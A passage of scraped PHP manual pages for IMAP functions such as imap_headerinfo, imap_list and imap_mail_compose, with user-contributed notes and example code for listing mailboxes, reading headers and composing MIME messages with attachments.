           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

        }
    } else {
        echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
    }

    return $list_folders;
}

function IntToBin($number) {
    $BitWaarde = 1;
    $IntNum = $number;
    $BinString = "";

    if ($IntNum > 0) {

        // bepaal de max bitwaarde aan de hand van $IntNum
        while ($IntNum > $BitWaarde) {
            $BitWaarde = $BitWaarde * 2;
        }

        // maken van een binaire string.
        while ($BitWaarde >= 1 ) {
            if ($IntNum < $BitWaarde) {
                if ($BinString != "") $BinString .= "0";
            } else {
                $BinString .= "1";
                $IntNum = $IntNum-$BitWaarde;
            }
            $BitWaarde = $BitWaarde / 2;
        }

    }

    return $BinString;
}

function Attributes($BinString) {

    $BinInt = (int)$BinString;
    if ($BinInt >=1000){
        $setAttribute['LATT_UNMARKED'] = true;
        $BinInt = $BinInt-1000;
    } else $setAttribute['LATT_UNMARKED'] = false;

    if ($BinInt >=100){
        $setAttribute['LATT_MARKED'] = true;
        $BinInt = $BinInt-100;
    } else $setAttribute['LATT_MARKED'] = false;

    if ($BinInt >=10){
        $setAttribute['LATT_NOSELECT'] = true;
        $BinInt = $BinInt-10;
    } else $setAttribute['LATT_NOSELECT'] = false;

    if ($BinInt >=1){
        $setAttribute['LATT_NOINFERIORS'] = true;
        $BinInt = $BinInt-1;
    } else $setAttribute['LATT_NOINFERIORS'] = false;

    return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                        $Attr = Attributes(IntToBin((int)$val['attributes']));
                        if (!$Attr['LATT_NOINFERIORS']) {
                            echo "<option value='".$val['name']."'>".$val['name']."</option>";
                        }
                    }
?>
ad-rotator.com 04-May-2004 10:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net 28-Aug-2001 02:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
      \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

      \Noselect

         It is not possible to use this name as a selectable mailbox.

      \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

      \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.


List all the subscribed mailboxes

  • « imap_getmailboxes
  • imap_header »
  • PHP Manual
  • IMAP Functions
  • List all the subscribed mailboxes

imap_getsubscribed

(PHP 4, PHP 5)

imap_getsubscribed — List all the subscribed mailboxes

Description

array imap_getsubscribed ( resource $imap_stream , string $ref , string $pattern )

Gets information about the subscribed mailboxes.

Identical to imap_getmailboxes(), except that it only returns mailboxes that the user is subscribed to.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against:

  • LATT_NOINFERIORS - This mailbox has no "children" (there are no mailboxes below this one).
  • LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it.
  • LATT_MARKED - This mailbox is marked. Only used by UW-IMAPD.
  • LATT_UNMARKED - This mailbox is not marked. Only used by UW-IMAPD.

User Contributed Notes

There are no user contributed notes for this page.


Alias of imap_headerinfo

  • « imap_getsubscribed
  • imap_headerinfo »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_headerinfo

imap_header

(PHP 4, PHP 5)

imap_header — Alias of imap_headerinfo()

Description

This function is an alias of: imap_headerinfo().

User Contributed Notes

stepotronic at nimbleminds dot net 05-Feb-2008 08:43
At jeremy at caramiel dot com:
You are wrong, since it will just work if the encoding of the characters is also used in the current context.
There is a reason why it comes with the charset :)

There are way better solutions with imap_mime_header_decode
jeremy at caramiel dot com 01-Feb-2008 03:37
Here is a clean way to decode encoded imap headers that will work in all cases :

function fix_text($str)
{
    $subject = '';
    $subject_array = imap_mime_header_decode($str);

    foreach ($subject_array AS $obj)
        $subject .= rtrim($obj->text, "\t");

    return $subject;
}


Read the header of the message

  • « imap_header
  • imap_headers »
  • PHP Manual
  • IMAP Functions
  • Read the header of the message

imap_headerinfo

(PHP 4, PHP 5)

imap_headerinfo — Read the header of the message

Description

object imap_headerinfo ( resource $imap_stream , int $msg_number [, int $fromlength = 0 [, int $subjectlength = 0 [, string $defaulthost = NULL ]]] )

Gets information about the given message number by reading its headers.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

fromlength

Number of characters for the fetchfrom property. Must be greater than or equal to zero.

subjectlength

Number of characters for the fetchsubject property Must be greater than or equal to zero.

defaulthost

Return Values

Returns the information in an object with following properties:

  • toaddress - full to: line, up to 1024 characters
  • to - an array of objects from the To: line, with the following properties: personal, adl, mailbox, and host
  • fromaddress - full from: line, up to 1024 characters
  • from - an array of objects from the From: line, with the following properties: personal, adl, mailbox, and host
  • ccaddress - full cc: line, up to 1024 characters
  • cc - an array of objects from the Cc: line, with the following properties: personal, adl, mailbox, and host
  • bccaddress - full bcc: line, up to 1024 characters
  • bcc - an array of objects from the Bcc: line, with the following properties: personal, adl, mailbox, and host
  • reply_toaddress - full Reply-To: line, up to 1024 characters
  • reply_to - an array of objects from the Reply-To: line, with the following properties: personal, adl, mailbox, and host
  • senderaddress - full sender: line, up to 1024 characters
  • sender - an array of objects from the Sender: line, with the following properties: personal, adl, mailbox, and host
  • return_pathaddress - full Return-Path: line, up to 1024 characters
  • return_path - an array of objects from the Return-Path: line, with the following properties: personal, adl, mailbox, and host
  • remail -
  • date - The message date as found in its headers
  • Date - Same as date
  • subject - The message subject
  • Subject - Same as subject
  • in_reply_to -
  • message_id -
  • newsgroups -
  • followup_to -
  • references -
  • Recent - R if recent and seen, N if recent and not seen, ' ' if not recent.
  • Unseen - U if not seen AND not recent, ' ' if seen OR not seen and recent
  • Flagged - F if flagged, ' ' if not flagged
  • Answered - A if answered, ' ' if unanswered
  • Deleted - D if deleted, ' ' if not deleted
  • Draft - X if draft, ' ' if not draft
  • Msgno - The message number
  • MailDate -
  • Size - The message size
  • udate - mail message date in Unix time
  • fetchfrom - from line formatted to fit fromlength characters
  • fetchsubject - subject line formatted to fit subjectlength characters

See Also

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

milosh 04-Aug-2014 07:14
I did some testing on using imap_headerinfo() function and I am very confused with the results.

On small mailboxes, getting data for 30 messages takes about 0.5 secs. On mailboxes with approximately 500 messages it takes about 7 secs to retrieve data for the same number of messages.

Why would the size of mailbox had anything to do with the time needed to retrieve the header of the single email message? Mailboxes are on the same account.

Next, If you measure every call to imap_headerinfo() function the result are even stranger! First and then every 22th call to the imap_headerinfo() function takes 10000 times more that the others. Example: the first call takes about 0.39 secs, then other 20 calls take about 0.0001 secs, then 22th call takes about 0.47 secs, then other 20 calls about 0.00004, and so on.

After some more research there is something else that came up.

If you use:

$message_header[$i] = imap_headerinfo($mbox, $i + 1);

it takes about 0.4 secs for every 22th call and about 0.0001 sec for other calls.

However, you would expect the same results with:

$message_header[$i] = imap_headerinfo($mbox, 30 - $i);

But, in this case it takes about 0.2 secs for every call!

The only difference here is that in the second example headers are retrieved in the reversed message order (from the 30th to the 1st) and for some reason it greatly affects the time needed for the operation. Strange, or is it just me?
andyltm 09-Jul-2010 12:17
When I was testing imap_headerinfo() with an e-mail that had multiple recipients (multiple e-mails in to to: and/or cc: field), I noticed that imap_headerinfo() was failing hard for me on PHP 5.2.10-2ubuntu6.4 with Suhosin-Patch 0.9.7 (cli).

Rather than providing me an array with each and every e-mail address listed in the to and/or cc fields, it was only providing me the first listed.  This was disappointing.

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
        )

Luckily, there was a cool workaround to this problem:

imap_rfc822_parse_headers(imap_fetchheader( string ); which subsequentally worked like a nice little pet would:

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
            [1] => stdClass Object
                (
                    [mailbox] => dutch
                    [host] => masters.com
                )
        )

TL;DR:
So in other words, instead of imap_headerinfo() use imap_rfc822_parse_headers(imap_fetchheader()).

Hope this helps anyone else that runs into this issue from now into the future.  This post was suggested by people in #PHP on FreeNode IRC.
trinkaus at ttNetz dot de 31-Jan-2010 11:32
When i try to access the same mailbox through pop3 and through imap i get different update infomations.

1. Using imap
header->udate is not the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:143/imap/novalidate-cert}INBOX}", $username, $password); // open as imap
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

1. Using pop3
header->udate is the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:110/pop3/novalidate-cert}INBOX}", $username, $password); // open as pop3
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

I do not know why this is so, but for this reason, i use strtotime($header->date) together with other values to create my own message-UID because this seems to work independent from the protocol.
jahservant 13 at gmail dot com 09-Dec-2009 12:56
I'm not entirely sure why this is, but if you loop through all of the messages in a mailbox, calling imap_header() each time, you can significantly increase performance by calling imap_headers() first.

Compare this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

With this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
  /****** adding this line: ******/
     imap_headers($imap)
  /***************************/
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

The performance difference, as I have tested on several boxes, connecting to several different servers, is that the second code snippet ALWAYS takes 1/2 the time, if not less.

Perhaps it is because imap_headers() retrieves all of the messages on one connection, whereas imap_header() has to make a new fetch request for each message??  I'm not sure WHY it is faster if imap_headers() is called first, but I do know that it is, so I thought I'd pass on the knowledge.  If anyone knows why this is, please let me know....
aeolianmeson at exoyiga dot blitzeclipse dot com 17-May-2009 07:56
I typically use UID's to identify messages, and recently discovered that the headers I had been pulling using this function and a message-number didn't match the UID's. Instead of worrying about it, I just began using imap_fetchheader() and imap_ rfc822_ parse_ headers() on its output. The only significant difference I immediately noticed was that there is no "udate" property, so I assigned one with the result of strtotime() on the 'date' property.

Dustin
php at spacefish dot biz 27-Jan-2009 07:57
I had to pass the msgid as array($msgid) instead of an integer. the error "Invalid messageID" is generated if i pass an integer.
ron at NOSPAM dot clicks2hits dot com 06-Nov-2008 02:51
Simple little code for checking gmail using headerinfo

<?php /* Created on: 11/3/2008 By Ron Hickey 6tx.net/gmail_mod
Gmail mod for admin panels or you can edit it and convert html results to XML for personal RSS reader */

// enter gmail username below e.g.--> $m_username = "yourusername";
$m_username = "";

// enter gmail password below e.g.--> $m_password = "yourpword";
$m_password = "";

// enter the number of unread messages you want to display from mailbox or
//enter 0 to display all unread messages e.g.--> $m_acs = 0;
$m_acs = 15;

// How far back in time do you want to search for unread messages - one month = 0 , two weeks = 1, one week = 2, three days = 3,
// one day = 4, six hours = 5 or one hour = 6 e.g.--> $m_t = 6;
$m_t = 2;

//----------->Nothing More to edit below
//open mailbox..........please
$m_mail = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", $m_username . "@gmail.com", $m_password)

// or throw a freakin error............you pig
or die("ERROR: " . imap_last_error());

// unix time gone by or is it bye.....its certanly not bi.......or is it? ......I dunno fooker
$m_gunixtp = array(2592000, 1209600, 604800, 259200, 86400, 21600, 3600);

// Date to start search
$m_gdmy = date('d-M-Y', time() - $m_gunixtp[$m_t]);

//search mailbox for unread messages since $m_t date
$m_search=imap_search ($m_mail, 'UNSEEN SINCE ' . $m_gdmy . '');

//If mailbox is empty......Display "No New Messages", else........ You got mail....oh joy
if($m_search < 1){
$m_empty = "No New Messages";}
else {

// Order results starting from newest message
rsort($m_search);

//if m_acs > 0 then limit results
if($m_acs > 0){
array_splice($m_search, $m_acs);
}

//loop it
foreach ($m_search as $what_ever) {

//get imap header info for obj thang
$obj_thang = imap_headerinfo($m_mail, $what_ever);

//Then spit it out below.........if you dont swallow
echo "<body bgcolor=D3D3D3><div align=center><br /><font face=Arial size=2 color=#800000>Message ID# " . $what_ever . "</font>

<table bgcolor=#D3D3D3 width=700 border=1 bordercolor=#000000 cellpadding=0 cellspacing=0>
<tr>
<td><table width=100% border=0>
<tr>
<td><table width=100% border=0>
<tr>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Date:</font> <font face=Arial size=2 color=#000000>" . date("F j, Y, g:i a", $obj_thang->udate) . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>From:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->fromaddress . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>To:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->toaddress . " </font></td>
</tr>
<tr>
</table>
</td>
</tr><tr><td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Subject:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->Subject . "</font></td></tr><tr>
</tr>
</table></td>
</tr>
</table><a href=http://gmail.com target=_blank><font face=Arial size=2 color=#800000>Login to read message</a></font><br /></div></body>";

}} echo "<div align=center><font face=Arial size=4 color=#800000><b>" . $m_empty . "</b></font></div>";
//close mailbox bi by bye
imap_close($m_mail);
?>
scott at fuzzygroup dot com 11-Nov-2002 06:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
    $fromname = $object->personal;
    $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this


Returns headers for all messages in a mailbox

  • « imap_headerinfo
  • imap_last_error »
  • PHP Manual
  • IMAP Functions
  • Returns headers for all messages in a mailbox

imap_headers

(PHP 4, PHP 5)

imap_headers — Returns headers for all messages in a mailbox

Description

array imap_headers ( resource $imap_stream )

Returns headers for all messages in a mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns an array of string formatted with header info. One element per mail message.

User Contributed Notes

antispam at katiheta dot net 31-Jul-2013 11:44
Message flag descriptions can be found on official imap_headerinfo page (http://www.php.net/manual/en/function.imap-headerinfo.php) in "Return Value" paragraph.
paulwright75 at hotmail dot com 18-Jun-2013 09:54
Ok, this page is driving me crazy. Parsing the lines returned in the array is simple enough but there is no definitions on what the flags mean. So I searched the web to find the answer and this is what I was able to gather:

A - Answered: email has been replied to
N - New: Recent and not seen
R - Recent: Recent and seen
U - Unread: The message has not been read yet
F - Flagged: Message is "flagged" for urgent/special attention
D - Deleted: Message is "deleted" for removal by later EXPUNGE
X - Draft: Message has not completed composition (marked as a draft).

please correct me if I am wrong...
mmuoio at gmail dot com 12-Oct-2009 07:39
This function will not return a full subject line if it is longer than 25 characters.  I found this out after trying to search each header and move the email to a different folder depending on what the subject was (searching for year and project number).


Gets the last IMAP error that occurred during this page request

  • « imap_headers
  • imap_list »
  • PHP Manual
  • IMAP Functions
  • Gets the last IMAP error that occurred during this page request

imap_last_error

(PHP 4, PHP 5)

imap_last_error — Gets the last IMAP error that occurred during this page request

Description

string imap_last_error ( void )

Gets the full text of the last IMAP error message that occurred on the current page. The error stack is untouched; calling imap_last_error() subsequently, with no intervening errors, will return the same error.

Return Values

Returns the full text of the last IMAP error message that occurred on the current page. Returns FALSE if no error messages are available.

See Also

  • imap_errors() - Returns all of the IMAP errors that have occurred

User Contributed Notes

There are no user contributed notes for this page.


Read the list of mailboxes

  • « imap_last_error
  • imap_listmailbox »
  • PHP Manual
  • IMAP Functions
  • Read the list of mailboxes

imap_list

(PHP 4, PHP 5)

imap_list — Read the list of mailboxes

Description

array imap_list ( resource $imap_stream , string $ref , string $pattern )

Read the list of mailboxes.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open().

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array containing the names of the mailboxes.

Examples

Example #1 imap_list() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_list($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $val) {
        echo imap_utf7_decode($val) . "\n";
    }
} else {
    echo "imap_list failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See Also

  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one
  • imap_lsub() - List all the subscribed mailboxes

User Contributed Notes

jemore at free dot fr 29-Mar-2014 11:02
With the values returned from the imap_list function, you can search a message in the folder, but you have to use the imap_reopen function before . Continuing the previous example (from c6h1206free at gmail dot com )

<?php
  $srv = '{imap.example.com}';
  $conn = imap_open($srv, 'me', 'mypass');
  $boxes = imap_list($conn, $srv, '*');
  foreach($boxes as $box)
  {
    imap_reopen($srv, $box);
    var_dump(imap_search($srv, "ALL"));
  }
  imap_close($conn);
?>
c6h1206free at gmail dot com 16-Sep-2008 09:00
imap_list returns a simple array of strings that look just like the $ref parameter one needs to specify:

<?php

  $srv = '{imap.example.com}';

  $conn = imap_open($srv, 'me', 'mypass');

  $boxes = imap_list($conn, $srv, '*');

  print_r($boxes);
  imap_close($conn);
?>

Output:

<pre>
Array
(
    [0] => {imap.example.com}Calendar
    [1] => {imap.example.com}Contacts
    [2] => {imap.example.com}Deleted Items
    [3] => {imap.example.com}Drafts
    [4] => {imap.example.com}Journal
    [5] => {imap.example.com}Junk E-mail
    [6] => {imap.example.com}Notes
    [7] => {imap.example.com}Outbox
    [8] => {imap.example.com}RSS Feeds
    [9] => {imap.example.com}Sent Items
    [10] => {imap.example.com}Tasks
)
</pre>

These directly fill in the $ref argument for every function that takes one.
kevin at metalaxe dot com 05-Jun-2007 11:13
if there is an error imap_list returns FALSE not an empty array (as expected by docs)


Alias of imap_list

  • « imap_list
  • imap_listscan »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_list

imap_listmailbox

(PHP 4, PHP 5)

imap_listmailbox — Alias of imap_list()

Description

This function is an alias of: imap_list().

User Contributed Notes

There are no user contributed notes for this page.


Returns the list of mailboxes that matches the given text

  • « imap_listmailbox
  • imap_listsubscribed »
  • PHP Manual
  • IMAP Functions
  • Returns the list of mailboxes that matches the given text

imap_listscan

(PHP 4, PHP 5)

imap_listscan — Returns the list of mailboxes that matches the given text

Description

array imap_listscan ( resource $imap_stream , string $ref , string $pattern , string $content )

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

This function is similar to imap_listmailbox(), but it will additionally check for the presence of the string content inside the mailbox data.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

content

The searched string

Return Values

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

See Also

  • imap_listmailbox() - Alias of imap_list
  • imap_search() - This function returns an array of messages matching the given search criteria

User Contributed Notes

There are no user contributed notes for this page.


Alias of imap_lsub

  • « imap_listscan
  • imap_lsub »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_lsub

imap_listsubscribed

(PHP 4, PHP 5)

imap_listsubscribed — Alias of imap_lsub()

Description

This function is an alias of: imap_lsub().

User Contributed Notes

chris at brenden dot com 16-Jan-2000 07:21
imap_listsubscribed() has been changed (or atleast I think has been) in php4b4 or the current CVS version.

The new function call is imap_lsub() it works the same as imap_listsubscribed()...


List all the subscribed mailboxes

  • « imap_listsubscribed
  • imap_mail_compose »
  • PHP Manual
  • IMAP Functions
  • List all the subscribed mailboxes

imap_lsub

(PHP 4, PHP 5)

imap_lsub — List all the subscribed mailboxes

Description

array imap_lsub ( resource $imap_stream , string $ref , string $pattern )

Gets an array of all the mailboxes that you have subscribed.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of all the subscribed mailboxes.

See Also

  • imap_list() - Read the list of mailboxes
  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one

User Contributed Notes

There are no user contributed notes for this page.


Create a MIME message based on given envelope and body sections

  • « imap_lsub
  • imap_mail_copy »
  • PHP Manual
  • IMAP Functions
  • Create a MIME message based on given envelope and body sections

imap_mail_compose

(PHP 4, PHP 5)

imap_mail_compose — Create a MIME message based on given envelope and body sections

Description

string imap_mail_compose ( array $envelope , array $body )

Create a MIME message based on the given envelope and body sections.

Parameters

envelope

An associative array of headers fields. Valid keys are: "remail", "return_path", "date", "from", "reply_to", "in_reply_to", "subject", "to", "cc", "bcc", "message_id" and "custom_headers" (which contains associative array of other headers).

body

An indexed array of bodies

A body is an associative array which can consist of the following keys: "type", "encoding", "charset", "type.parameters", "subtype", "id", "description", "disposition.type", "disposition", "contents.data", "lines", "bytes" and "md5".

Return Values

Returns the MIME message.

Examples

Example #1 imap_mail_compose() example

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";
$envelope["cc"]  = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

User Contributed Notes

coxsterdillon at hotmail dot com 09-Sep-2013 02:54
So following on from their example, once you've composed your email with attachment or whatever, you'll probably want to send it.

since imap_mail(...) takes the message as body and re-encodes it, ignoring all the hard work you've done already.

Only real solution I found is to post it yourself:

// open connect to mail server
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if ($socket===false) {
    die('Error: socket_create, '.socket_strerror(socket_last_error()));
}

$server="myserver.com"; // say 10.0.0.1 or whatever your mail sever is
$port=25;  // again your mail server port, here generic smtp
if (socket_connect($socket,$server,$port)) {
    print "Connection successful\n";
}else {
    die('Error: socket_connect, '.socket_strerror(socket_last_error()));
}

// send it...
socket_write($socket,"HELO {$envelope["from"]}\n");
socket_write($socket,"MAIL FROM: {$envelope["from"]}\n");
socket_write($socket,"RCPT TO: {$envelope["to"]}\n");
socket_write($socket,"DATA\n");
socket_write($socket,"$message\n");
socket_write($socket,".\n");
socket_write($socket,"QUIT\n");

// done...
socket_close($socket);

Ofcourse the shell may work for you?

echo "Hello World" | mail -s "Greeting..." -a "attachSomeFile.txt" gspot@gmail.com
Guido 26-Aug-2008 07:25
For some email clients its necessary first to start with the body text and end with the attachment(s). Otherwise all the parts end up in attachments, also the body text (took a while to find this).

So example #1 (above) should be switched over, like:

$body[1] = $part1;
$body[2] = $part3;
$body[3] = $part2;
Freman 08-Aug-2007 02:57
Since at least PHP 4.3 the $part[] hash can contain the $part['type.parameters'] which expects a hash.

Unfortunately for "hans at lintoo dot dk" there doesn't appear to have ever been $part['parameters.name'] or a $part['dparameters.filename']

So it would appear the corrected code for his function is

<?php
            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['type.parameters'] = array('name' => $file_name);
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));
?>
While this correctly sets the header

Content-Type: application/octet-stream; name="file_name"
Content-Transfer-Encoding: BASE64
Content-Description: file_name
Content-Disposition: attachment; filename="file_name"

But this is still not a good idea to blanket set every attachment as a application/octet-stream so please consider using the unix command file, or Fileinfo functions (or even trusting file upload mimetype) and pay attention to the code from "derf dot m at reseaunix dot net"
hans at lintoo dot dk 26-Sep-2005 08:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
    $multipart["type"] = TYPEMULTIPART;
    $multipart["subtype"] = "mixed";
    $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
    for ($i=0;$i < count($file['tmp_name']);$i++) {
        if (is_uploaded_file($file['tmp_name'][$i])) {
            $file_handle = fopen($file["tmp_name"][$i], "rb");
            $file_name = $file["name"][$i];
            $file_size = filesize($file["tmp_name"][$i]);

            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['dparameters.filename'] = $file_name;
            $part['parameters.name'] = $file_name;
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

            $body[] = $part;
            unlink($file["tmp_name"][$i]);
        }
    }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk 23-Sep-2005 03:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de 06-Sep-2003 02:28
It is a good idea to set the date header:
$envelope['date']=date('r');
thomas dot hebinck at digionline dot de 06-Sep-2003 02:26
imap_mail_compose modifies $envelope! Subsequent calls with the same $envelope may not work depending on the contents of the header. The best way (at least it works) I found, is:

$temp_env=unserialize(serialize($envelope));
$mail=imap_mail_compose($temp_env,$body);

(just $temp_env=$envelope does not work either)
as1 at powersite dot com dot ar 21-Apr-2003 08:49
How can I do if I have multi mime headers?
By example:

Content-Type: multipart/related;
                   type="multipart/alternative";
or:

Content-Type: multipart/mixed;
                   type="multipart/alternative";

or both methods: nested and multi mime headers:

Content-Type: multipart/mixed;
        boundary="147147"

--147147
Content-Type: multipart/related;
        type="multipart/alternative";
        boundary="247247"

These headers are used when you need attach files and
insert files in a body into mime mails.
Los Olvidados 23-Jan-2003 11:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
derf dot m at reseaunix dot net 18-Jun-2002 06:25
class ImapCompose
{
    var $DATA;
    var $MIME;
    var $TYPE;
    var $BASENAME;

    function ImapCompose()
    {}

    function LECTURE_FICHIER($filename,$mime,$filetmp)
    {
        $filetmp = "/tmp/".$filetmp;
        $fp=fopen($filetmp,"r");
        $this->DATA     = fread($fp,filesize($filetmp));
        fclose($fp);
        //unlink($filetmp);

        $mime = explode("/",$mime);
        $this->BASENAME = basename($filename);
        $this->TYPE        = $mime[1];

        switch($mime[0])
        {
            case "image":
                        $this->MIME = TYPEIMAGE;
                        break;

            case "text":
                        $this->MIME = TYPETEXT;
                        break;

            case "audio":
                        $this->MIME = TYPEAUDIO;
                        break;

            case "autre":
            default:
